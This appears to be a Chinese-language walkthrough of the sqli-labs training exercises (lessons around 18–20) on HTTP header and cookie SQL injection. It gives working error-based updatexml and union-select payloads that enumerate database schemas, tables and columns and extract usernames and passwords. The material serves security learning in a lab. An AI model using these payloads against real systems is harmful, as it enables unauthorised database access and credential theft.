注入语句 : User-Agent: ' or updatexml(1,concat(0x7e,(database())),1) and '1'='1 (报错注入)
后续通过更改构造语句获得其他的信息
1
' or updatexml(1,concat(0x7e,构造语句)),1) and '1'='1
1 2 3 4 5
构造语句: 查库: select schema_name from information_schema.schemata; 查表: select table_name from information_schema.tables where table_schema='security'; 查列: select column_name from information_schema.columns where table_name='users'; 查字段:select username,password from security.users;
less - 19
http头注入
浏览器插件ModHeader
通过修改Referer: 的值进行注入
原: Referer: http://192.168.169.149:86/Less-19/
注入语句: ' or updatexml(1,concat(0x7e,(database())),1) and '1'='1
后续通过更改构造语句获得其他的信息
1
' or updatexml(1,concat(0x7e,构造语句)),1) and '1'='1
1 2 3 4 5
构造语句: 查库: select schema_name from information_schema.schemata; 查表: select table_name from information_schema.tables where table_schema='security'; 查列: select column_name from information_schema.columns where table_name='users'; 查字段: select username,password from security.users;
less - 20
cookie注入
浏览器插件Cookie-Editor
在插件里面修改Value的内容,记得点击左边的保存. admin —> admin’
剩下的语句和其他的注入语句一样
1
union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users #